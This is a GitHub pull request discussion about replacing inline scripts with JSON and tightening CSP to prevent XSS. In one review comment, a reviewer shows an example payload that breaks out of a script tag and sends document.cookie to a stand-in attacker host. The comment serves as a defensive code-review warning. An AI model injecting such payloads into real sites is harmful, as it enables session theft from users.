Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

improve CSP to prevent XSS #1900

Closed
wants to merge 1 commit into from
Closed

improve CSP to prevent XSS #1900

wants to merge 1 commit into from

Conversation

phiresky
Copy link
Contributor

@phiresky phiresky commented Jul 10, 2023

Description

This PR replaces the inline scripts with raw json, and adjusts the CSP header to forbid inline scripts and eval.

The previous serialize() function allowed serializing undefineds and functions and regexes, but I didn't actually see that being used anywhere.

I didn't see obvious breakage but idk if some random other component also uses inline scripts?

This works in prod mode of webpack but the default dev mode of webpack uses eval so either the header has to be changed for dev mode or the webpack compilation mode changed probably.

@phiresky phiresky mentioned this pull request Jul 10, 2023
4 tasks
@sunaurus
Copy link
Collaborator

Broken for authenticated users currently, I can take an in-depth look at the code as well in a few hours if it would help

@Nutomic
Copy link
Member

Nutomic commented Jul 10, 2023

Comment from Arthur on Matrix:

yeah, actually i'm not sure, maybe it isn't so exploitable since script-source doesn't have unsafe-inline anymore but it seems like a </script> in the isoData would still break things by making invalid JSON even if it doesn't lead to code execution
whereas the current serialize-javascript approach will actually not break when that happens

@phiresky
Copy link
Contributor Author

phiresky commented Jul 10, 2023

that's a good point. possible the normal renderToString() function from react/inferno should be able to handle that if we wrap it in jsx?

@phiresky phiresky marked this pull request as draft July 10, 2023 13:29
<script>window.isoData = ${serialize(isoData)}</script>
<script>window.lemmyConfig = ${serialize(config)}</script>
<script type="application/json" id="isoData">${JSON.stringify(
isoData
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Going back to stringify will allow all the old XSS vulns.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

To clarify JSON.stringify is not sufficient for encoding arbitrary JSON data into HTML. Most notably something like this:

{"foo":"</script><script>fetch(`https://evil.example/${document.cookie}`)</script>"}

We should not be doing adhoc embedding of data into HTML. We should be using proper serialization.

Copy link
Contributor Author

@phiresky phiresky Jul 10, 2023

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It shouldn't allow other XSS because of the CSP header but otherwise you're right. I think the best way to do proper serialization then would be to use renderToString(<script>{JSON.stringify(...)}</script>) from inferno then though? Since that must have correct escaping internally

@jeroenhd
Copy link

Would it not be better long-term to serve the Javascript on a separate URL to prevent these issues?

Seeing as that is very difficult to achieve, perhaps it's better to use something like CSP nonce-sources or hash-sources rather than JSON workarounds Or perhaps serving the script on a dedicated Javascript URL so it can be added to the CSP normally?

In theory, all you would need to do is either set a nonce value on the <script> tags and include it in the header, or use the sha256 hashes of the script content in a similar manner. If someone manages to break out of the <script> tag with content of their own, they'd either have to guess the nonce (which should be impossible by design) or somehow find a SHA256 hash collision (which is extremely difficult given the limited user input).

@sunaurus
Copy link
Collaborator

I opened #1907, please let me know if I missed anything!

@phiresky phiresky closed this Jul 10, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

7 participants